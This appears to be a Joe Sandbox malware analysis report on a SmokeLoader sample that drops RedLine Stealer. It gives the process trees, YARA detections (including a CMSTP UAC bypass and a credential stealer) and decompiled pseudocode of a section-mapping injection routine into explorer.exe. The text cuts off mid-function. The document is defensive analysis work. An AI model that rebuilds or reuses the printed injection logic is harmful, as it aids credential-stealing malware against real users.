Analysis Process: file.exePID: 6532, Parent PID: 3528

General

Target ID:	0
Start time:	01:26:00
Start date:	24/03/2023
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\file.exe
Imagebase:	0x400000
File size:	264704 bytes
MD5 hash:	EE30406C7F005C757653677C3CA0B779
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.332606751.0000000000990000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.332606751.0000000000990000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.332709751.0000000002461000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.332709751.0000000002461000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.332655899.00000000009D9000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.332596480.0000000000980000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 3528, Parent PID: 6532

General

Target ID:	1
Start time:	01:26:06
Start date:	24/03/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff618f60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rgrsiwfPID: 6840, Parent PID: 1088

General

Target ID:	2
Start time:	01:26:43
Start date:	24/03/2023
Path:	C:\Users\user\AppData\Roaming\rgrsiwf
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\rgrsiwf
Imagebase:	0x400000
File size:	264704 bytes
MD5 hash:	EE30406C7F005C757653677C3CA0B779
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000002.00000002.416061503.00000000007F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000002.00000002.416197713.0000000000948000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000002.00000002.416124852.0000000000890000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000002.00000002.416124852.0000000000890000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000002.00000002.416145002.00000000008B1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000002.00000002.416145002.00000000008B1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 35%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: 72E5.exePID: 3004, Parent PID: 3528

General

Target ID:	5
Start time:	01:26:56
Start date:	24/03/2023
Path:	C:\Users\user\AppData\Local\Temp\72E5.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\72E5.exe
Imagebase:	0x400000
File size:	573952 bytes
MD5 hash:	28C2EC0A0FDAB6BBFC699CC541D9197F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000005.00000002.431042290.00000000008E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000005.00000002.431911028.0000000000988000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000005.00000002.430499796.0000000000413000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: 72E5.exePID: 4692, Parent PID: 4560

General

Target ID:	10
Start time:	01:26:59
Start date:	24/03/2023
Path:	C:\Users\user\AppData\Local\Temp\72E5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\72E5.exe"
Imagebase:	0x400000
File size:	573952 bytes
MD5 hash:	28C2EC0A0FDAB6BBFC699CC541D9197F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000A.00000002.446469388.000000000089F000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000A.00000002.451428778.00000000024B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000A.00000002.445067575.0000000000413000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: 66CA.exePID: 6796, Parent PID: 3528

General

Target ID:	11
Start time:	01:27:10
Start date:	24/03/2023
Path:	C:\Users\user\AppData\Local\Temp\66CA.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\66CA.exe
Imagebase:	0xaa0000
File size:	1217709 bytes
MD5 hash:	719082DCC3C017E5B675C8B9EC74B6A1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: 123.exePID: 728, Parent PID: 6796

General

Target ID:	12
Start time:	01:27:13
Start date:	24/03/2023
Path:	C:\Windows\Temp\123.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Temp\123.exe"
Imagebase:	0x840000
File size:	1200128 bytes
MD5 hash:	067B24F2A101E4B49D45E14F81D41EDB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000C.00000003.461277241.00000000010A2000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000C.00000002.484118023.0000000000873000.00000004.00000001.01000000.0000000C.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: 321.exePID: 2952, Parent PID: 6796

General

Target ID:	13
Start time:	01:27:13
Start date:	24/03/2023
Path:	C:\Windows\Temp\321.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Temp\321.exe"
Imagebase:	0x13c0000
File size:	2072576 bytes
MD5 hash:	5B87AD276E221A90FF038CB69929F321
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 36%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: RegSvcs.exePID: 4708, Parent PID: 728

General

Target ID:	14
Start time:	01:27:14
Start date:	24/03/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Imagebase:	0x6c0000
File size:	45152 bytes
MD5 hash:	2867A3817C9245F7CF518524DFD18F28
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000E.00000002.573310627.0000000000402000.00000020.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 6248, Parent PID: 728

General

Target ID:	17
Start time:	01:27:14
Start date:	24/03/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 728 -s 220
Imagebase:	0x20000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: RegSvcs.exePID: 5300, Parent PID: 2952

General

Target ID:	18
Start time:	01:27:16
Start date:	24/03/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Imagebase:	0x190000
File size:	45152 bytes
MD5 hash:	2867A3817C9245F7CF518524DFD18F28
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 6204, Parent PID: 2952

General

Target ID:	20
Start time:	01:27:16
Start date:	24/03/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2952 -s 220
Imagebase:	0x20000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: RegSvcs.exePID: 3860, Parent PID: 3528

General

Target ID:	21
Start time:	01:27:27
Start date:	24/03/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x560000
File size:	45152 bytes
MD5 hash:	2867A3817C9245F7CF518524DFD18F28
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5080, Parent PID: 3860

General

Target ID:	22
Start time:	01:27:28
Start date:	24/03/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: RegSvcs.exePID: 5500, Parent PID: 3528

General

Target ID:	23
Start time:	01:27:37
Start date:	24/03/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0xd30000
File size:	45152 bytes
MD5 hash:	2867A3817C9245F7CF518524DFD18F28
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5540, Parent PID: 5500

General

Target ID:	24
Start time:	01:27:37
Start date:	24/03/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: file.exePID: 6532, Parent PID: 3528COMMON

Execution Graph

Execution Coverage:	1.9%
Dynamic/Decrypted Code Coverage:	4.1%
Signature Coverage:	14.4%
Total number of Nodes:	1271
Total number of Limit Nodes:	25

Executed Functions

Function 0040153A Relevance: 10.7, APIs: 7, Instructions: 205
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E0040153A(void* __edi, intOrPtr* _a4, void* _a8, intOrPtr _a12, void* _a16, signed int _a1750575217) {
				void* _v8;
				long _v12;
				void* _v16;
				void* _v20;
				char _v44;
				char _v52;
				long _v56;
				long _v60;
				char _v64;
				char _v68;
				HANDLE* _v72;
				char _v76;
				char _v84;
				char _v88;
				intOrPtr _v96;
				char _v100;
				void* __ebx;
				void* __esi;
				void* __ebp;
				intOrPtr _t92;
				intOrPtr _t95;
				intOrPtr* _t97;
				struct _GUID _t105;
				long _t107;
				intOrPtr* _t108;
				PVOID* _t110;
				PVOID* _t112;
				PVOID* _t128;
				PVOID* _t130;
				void* _t134;
				long* _t136;
				intOrPtr* _t137;
				void* _t155;
				void* _t183;
				intOrPtr* _t184;
				intOrPtr* _t185;
				HANDLE* _t186;
				void* _t204;
				long _t219;

				_push(__edi);
				_t136 = 0x393;
				_t155 = 0xd4;
				E004011BD(0x1581, _t134, 0x393, _t155, __edi, _t183, _t204);
				_t135 = _a4;
				_v56 = 0;
				if(gs != 0) {
					_v56 = _v56 + 1;
				}
				while(1) {
					_t92 =  *((intOrPtr*)(_t135 + 0x48))();
					if(_t92 != 0) {
						break;
					}
					 *((intOrPtr*)(_t135 + 0x1c))(0x3e8);
				}
				_v96 = _t92;
				_t184 =  &_v100;
				 *_t184 = 0;
				 *((intOrPtr*)(_t135 + 0x4c))(_t92, _t184);
				_t95 =  *_t184;
				if(_t95 != 0) {
					_t137 =  &_v52;
					 *_t137 = _t95;
					 *((intOrPtr*)(_t137 + 4)) = 0;
					_t185 =  &_v44;
					 *((intOrPtr*)(_t135 + 0x10))(_t185, 0x18);
					 *_t185 = 0x18;
					_t136 =  &_v52;
					_push(_t136);
					_push(_t185);
					_push(0x40);
					_push( &_v20);
					if( *((intOrPtr*)(_t135 + 0x70))() == 0 && NtDuplicateObject(_v20, 0xffffffff, 0xffffffff,  &_v16, 0, 0, 2) == 0) {
						_v12 = 0;
						_t105 =  &_v84;
						 *((intOrPtr*)(_t105 + 4)) = 0;
						 *_t105 = 0x5000;
						_t186 =  &_v88;
						if(NtCreateSection(_t186, 6, 0, _t105, 4, 0x8000000, 0) == 0) {
							_push(_v84);
							_pop( *_t25);
							_t128 =  &_v72;
							 *_t128 = 0;
							if(NtMapViewOfSection( *_t186, 0xffffffff, _t128, 0, 0, 0,  &_v60, 1, 0, 4) == 0) {
								_t130 =  &_v64;
								 *_t130 = 0;
								if(NtMapViewOfSection( *_t186, _v16, _t130, 0, 0, 0,  &_v60, 1, 0, 4) == 0) {
									_t186 = _v72;
									 *((intOrPtr*)(_t135 + 0x20))(0, _t186, 0x104);
									_t186[0x82] = _a16;
									_v12 = _v12 + 1;
								}
							}
						}
						_t107 =  &_v84;
						_t136 = _a12 + 0x10000;
						 *((intOrPtr*)(_t107 + 4)) = 0;
						while(1) {
							_t108 = _t107 + 0x89;
							_a1750575217 = _a1750575217 | _t136;
							 *_t108 =  *_t108 + _t108;
							 *_t108 =  *_t108 + _t136;
							_push(0x40);
							_push(_t108);
							_push(0);
							_push(0xe);
							if(NtCreateSection(_t186) != 0 || _v12 == 0) {
								goto L70;
							}
							_push(_v84);
							_pop( *_t47);
							_t110 =  &_v76;
							 *_t110 = 0;
							_t136 =  &_v60;
							if(NtMapViewOfSection( *_t186, 0xffffffff, _t110, 0, 0, 0, _t136, 1, 0, 4) == 0) {
								_t112 =  &_v68;
								 *_t112 = 0;
								_t136 =  &_v60;
								_t107 = NtMapViewOfSection( *_t186, _v16, _t112, 0, 0, 0, _t136, 1, 0, 0x20);
								_t219 = _t107;
								if(_t219 == 0) {
									L25();
									if(_t219 == 0 && _t219 != 0) {
										asm("xlatb");
										if (_t219 <= 0) goto L20;
									}
								}
							}
							goto L70;
						}
					}
				}
				L70:
				_t96 = 0x1581;
				_push(0x393);
				_t97 = _t135;
				_t135 = _t96;
				 *((intOrPtr*)(_t96 - 0x3b7cdbf4)) =  *((intOrPtr*)(_t96 - 0x3b7cdbf4)) + _t136;
				_t96 = _t97 +  *_t97 + 0xffffffffefeb0a2c;
				_push(0xd4);
				__edx =  *__esp;
				__esp = __esp + 4;
				__eax = E004011BD(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags);
				__eflags = __eax & 0x5ffffff8;
				return __eax;
			}

0x00401542
0x0040155d
0x00401574
0x0040157c
0x00401581
0x00401586
0x0040158f
0x00401591
0x00401591
0x00401594
0x00401594
0x00401599
0x00000000
0x00000000
0x004018c4
0x004018c4
0x0040159f
0x004015a2
0x004015a5
0x004015a9
0x004015ac
0x004015b0
0x004015b6
0x004015b9
0x004015bb
0x004015be
0x004015c4
0x004015c7
0x004015cf
0x004015d5
0x004015d6
0x004015d7
0x004015d9
0x004015df
0x00401602
0x00401605
0x00401608
0x0040160b
0x00401611
0x00401626
0x00401628
0x0040162b
0x0040162e
0x00401631
0x00401649
0x0040164b
0x0040164e
0x00401667
0x00401669
0x00401673
0x00401679
0x0040167f
0x0040167f
0x00401667
0x00401649
0x00401682
0x00401688
0x0040168e
0x00401690
0x00401690
0x00401692
0x00401698
0x0040169a
0x0040169c
0x0040169e
0x0040169f
0x004016a0
0x004016a8
0x00000000
0x00000000
0x004016b8
0x004016bb
0x004016be
0x004016c1
0x004016c3
0x004016d9
0x004016df
0x004016e2
0x004016e4
0x004016f6
0x004016f9
0x004016fb
0x00401701
0x00401706
0x0040170a
0x0040170b
0x0040170b
0x0040170c
0x004016fb
0x00000000
0x004016d9
0x00401690
0x004015df
0x004018bd
0x004018d6
0x004018e4
0x004018e5
0x004018e5
0x004018e8
0x004018f0
0x004018fd
0x00401902
0x00401905
0x0040190f
0x00401910
0x00401918

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401662
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016A3
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016D4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016F6

Memory Dump Source

Source File: 00000000.00000002.332432151.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 9ecfb884ae7691c5ddcc621dabf301d435b390518ce656d318c6d778483d7623
Instruction ID: 16ec563f425a4e3ea88b17e6e39ee723a37350fc76a263d3a2de0e1c35289203
Opcode Fuzzy Hash: 9ecfb884ae7691c5ddcc621dabf301d435b390518ce656d318c6d778483d7623
Instruction Fuzzy Hash: 32615171904205FBEB209F95CC89FAF7BB8EF85704F10422AF912BA1E4D7749A01DB65

Uniqueness

Uniqueness Score: -1.00%

Function 00401545 Relevance: 10.7, APIs: 7, Instructions: 172
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E00401545() {
				intOrPtr _t92;
				intOrPtr _t95;
				intOrPtr* _t97;
				struct _GUID _t105;
				long _t107;
				intOrPtr* _t108;
				PVOID* _t110;
				PVOID* _t112;
				PVOID* _t128;
				PVOID* _t130;
				void* _t134;
				long* _t136;
				intOrPtr* _t137;
				void* _t155;
				void* _t173;
				void* _t183;
				intOrPtr* _t184;
				intOrPtr* _t185;
				HANDLE* _t186;
				void* _t198;
				void* _t205;
				long _t220;

				asm("out 0x26, al");
				asm("fsubr dword [ecx+0x1581b84e]");
				_t136 = 0x393;
				_t155 = 0xd4;
				E004011BD(0x1581, _t134, 0x393, _t155, _t173, _t183, _t205);
				_t135 =  *((intOrPtr*)(_t198 + 8));
				 *((intOrPtr*)(_t198 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t198 - 0x34)) =  *((intOrPtr*)(_t198 - 0x34)) + 1;
				}
				while(1) {
					_t92 =  *((intOrPtr*)(_t135 + 0x48))();
					if(_t92 != 0) {
						break;
					}
					 *((intOrPtr*)(_t135 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t198 - 0x5c)) = _t92;
				_t184 = _t198 - 0x60;
				 *_t184 = 0;
				 *((intOrPtr*)(_t135 + 0x4c))(_t92, _t184);
				_t95 =  *_t184;
				if(_t95 != 0) {
					_t137 = _t198 - 0x30;
					 *_t137 = _t95;
					 *((intOrPtr*)(_t137 + 4)) = 0;
					_t185 = _t198 - 0x28;
					 *((intOrPtr*)(_t135 + 0x10))(_t185, 0x18);
					 *_t185 = 0x18;
					_t136 = _t198 - 0x30;
					_push(_t136);
					_push(_t185);
					_push(0x40);
					_push(_t198 - 0x10);
					if( *((intOrPtr*)(_t135 + 0x70))() == 0 && NtDuplicateObject( *(_t198 - 0x10), 0xffffffff, 0xffffffff, _t198 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t198 - 8)) = 0;
						_t105 = _t198 - 0x50;
						 *((intOrPtr*)(_t105 + 4)) = 0;
						 *_t105 = 0x5000;
						_t186 = _t198 - 0x54;
						if(NtCreateSection(_t186, 6, 0, _t105, 4, 0x8000000, 0) == 0) {
							 *_t25 =  *(_t198 - 0x50);
							_t128 = _t198 - 0x44;
							 *_t128 = 0;
							if(NtMapViewOfSection( *_t186, 0xffffffff, _t128, 0, 0, 0, _t198 - 0x38, 1, 0, 4) == 0) {
								_t130 = _t198 - 0x3c;
								 *_t130 = 0;
								if(NtMapViewOfSection( *_t186,  *(_t198 - 0xc), _t130, 0, 0, 0, _t198 - 0x38, 1, 0, 4) == 0) {
									_t186 =  *(_t198 - 0x44);
									 *((intOrPtr*)(_t135 + 0x20))(0, _t186, 0x104);
									_t186[0x82] =  *(_t198 + 0x14);
									 *((intOrPtr*)(_t198 - 8)) =  *((intOrPtr*)(_t198 - 8)) + 1;
								}
							}
						}
						_t107 = _t198 - 0x50;
						_t136 =  *((intOrPtr*)(_t198 + 0x10)) + 0x10000;
						 *((intOrPtr*)(_t107 + 4)) = 0;
						while(1) {
							_t108 = _t107 + 0x89;
							 *(_t198 + 0x6857a875) =  *(_t198 + 0x6857a875) | _t136;
							 *_t108 =  *_t108 + _t108;
							 *_t108 =  *_t108 + _t136;
							_push(0x40);
							_push(_t108);
							_push(0);
							_push(0xe);
							if(NtCreateSection(_t186) != 0 ||  *((intOrPtr*)(_t198 - 8)) == 0) {
								goto L69;
							}
							 *_t47 =  *(_t198 - 0x50);
							_t110 = _t198 - 0x48;
							 *_t110 = 0;
							_t136 = _t198 - 0x38;
							if(NtMapViewOfSection( *_t186, 0xffffffff, _t110, 0, 0, 0, _t136, 1, 0, 4) == 0) {
								_t112 = _t198 - 0x40;
								 *_t112 = 0;
								_t136 = _t198 - 0x38;
								_t107 = NtMapViewOfSection( *_t186,  *(_t198 - 0xc), _t112, 0, 0, 0, _t136, 1, 0, 0x20);
								_t220 = _t107;
								if(_t220 == 0) {
									L24();
									if(_t220 == 0 && _t220 != 0) {
										asm("xlatb");
										if (_t220 <= 0) goto L19;
									}
								}
							}
							goto L69;
						}
					}
				}
				L69:
				_t96 = 0x1581;
				_t97 = _t135;
				_t135 = _t96;
				 *((intOrPtr*)(_t96 - 0x3b7cdbf4)) =  *((intOrPtr*)(_t96 - 0x3b7cdbf4)) + _t136;
				_t96 = _t97 +  *_t97 + 0xffffffffefeb0a2c;
				__edx =  *__esp;
				__esp = __esp + 4;
				__eax = E004011BD(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags);
				__eflags = __eax & 0x5ffffff8;
				__esi = 0xd4;
				__ebx = 0x393;
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x00401545
0x00401547
0x0040155d
0x00401574
0x0040157c
0x00401581
0x00401586
0x0040158f
0x00401591
0x00401591
0x00401594
0x00401594
0x00401599
0x00000000
0x00000000
0x004018c4
0x004018c4
0x0040159f
0x004015a2
0x004015a5
0x004015a9
0x004015ac
0x004015b0
0x004015b6
0x004015b9
0x004015bb
0x004015be
0x004015c4
0x004015c7
0x004015cf
0x004015d5
0x004015d6
0x004015d7
0x004015d9
0x004015df
0x00401602
0x00401605
0x00401608
0x0040160b
0x00401611
0x00401626
0x0040162b
0x0040162e
0x00401631
0x00401649
0x0040164b
0x0040164e
0x00401667
0x00401669
0x00401673
0x00401679
0x0040167f
0x0040167f
0x00401667
0x00401649
0x00401682
0x00401688
0x0040168e
0x00401690
0x00401690
0x00401692
0x00401698
0x0040169a
0x0040169c
0x0040169e
0x0040169f
0x004016a0
0x004016a8
0x00000000
0x00000000
0x004016bb
0x004016be
0x004016c1
0x004016c3
0x004016d9
0x004016df
0x004016e2
0x004016e4
0x004016f6
0x004016f9
0x004016fb
0x00401701
0x00401706
0x0040170a
0x0040170b
0x0040170b
0x0040170c
0x004016fb
0x00000000
0x004016d9
0x00401690
0x004015df
0x004018bd
0x004018d6
0x004018e5
0x004018e5
0x004018e8
0x004018f0
0x00401902
0x00401905
0x0040190f
0x00401910
0x00401915
0x00401916
0x00401917
0x00401917
0x00401918

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401662
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016A3
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016D4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016F6

Memory Dump Source

Source File: 00000000.00000002.332432151.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 743f04120ff395d01967548ba235cdde6e4c7babe3697bb8d319a725eb7ae0cd
Instruction ID: 0918bdb180e4d13286449c57059f4eeef7a0973c31609336eb7f363383352a7b
Opcode Fuzzy Hash: 743f04120ff395d01967548ba235cdde6e4c7babe3697bb8d319a725eb7ae0cd
Instruction Fuzzy Hash: CA513B71900205BFEB209F91CC89FAB7BB8EF85B14F10426AF911BA2E5D7749901CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00401551 Relevance: 10.7, APIs: 7, Instructions: 171
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E00401551() {
				intOrPtr _t94;
				intOrPtr _t97;
				intOrPtr* _t99;
				struct _GUID _t107;
				long _t109;
				intOrPtr* _t110;
				PVOID* _t112;
				PVOID* _t114;
				PVOID* _t130;
				PVOID* _t132;
				void* _t136;
				long* _t138;
				intOrPtr* _t139;
				void* _t157;
				void* _t175;
				void* _t185;
				intOrPtr* _t186;
				intOrPtr* _t187;
				HANDLE* _t188;
				void* _t200;
				void* _t201;
				intOrPtr _t207;
				long _t222;

				_t1 = _t200 - 0x15;
				 *_t1 =  *((intOrPtr*)(_t200 - 0x15)) - _t201;
				_t207 =  *_t1;
				_t138 = 0x393;
				_t157 = 0xd4;
				E004011BD(0x1581, _t136, 0x393, _t157, _t175, _t185, _t207);
				_t137 =  *((intOrPtr*)(_t200 + 8));
				 *((intOrPtr*)(_t200 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t200 - 0x34)) =  *((intOrPtr*)(_t200 - 0x34)) + 1;
				}
				while(1) {
					_t94 =  *((intOrPtr*)(_t137 + 0x48))();
					if(_t94 != 0) {
						break;
					}
					 *((intOrPtr*)(_t137 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t200 - 0x5c)) = _t94;
				_t186 = _t200 - 0x60;
				 *_t186 = 0;
				 *((intOrPtr*)(_t137 + 0x4c))(_t94, _t186);
				_t97 =  *_t186;
				if(_t97 != 0) {
					_t139 = _t200 - 0x30;
					 *_t139 = _t97;
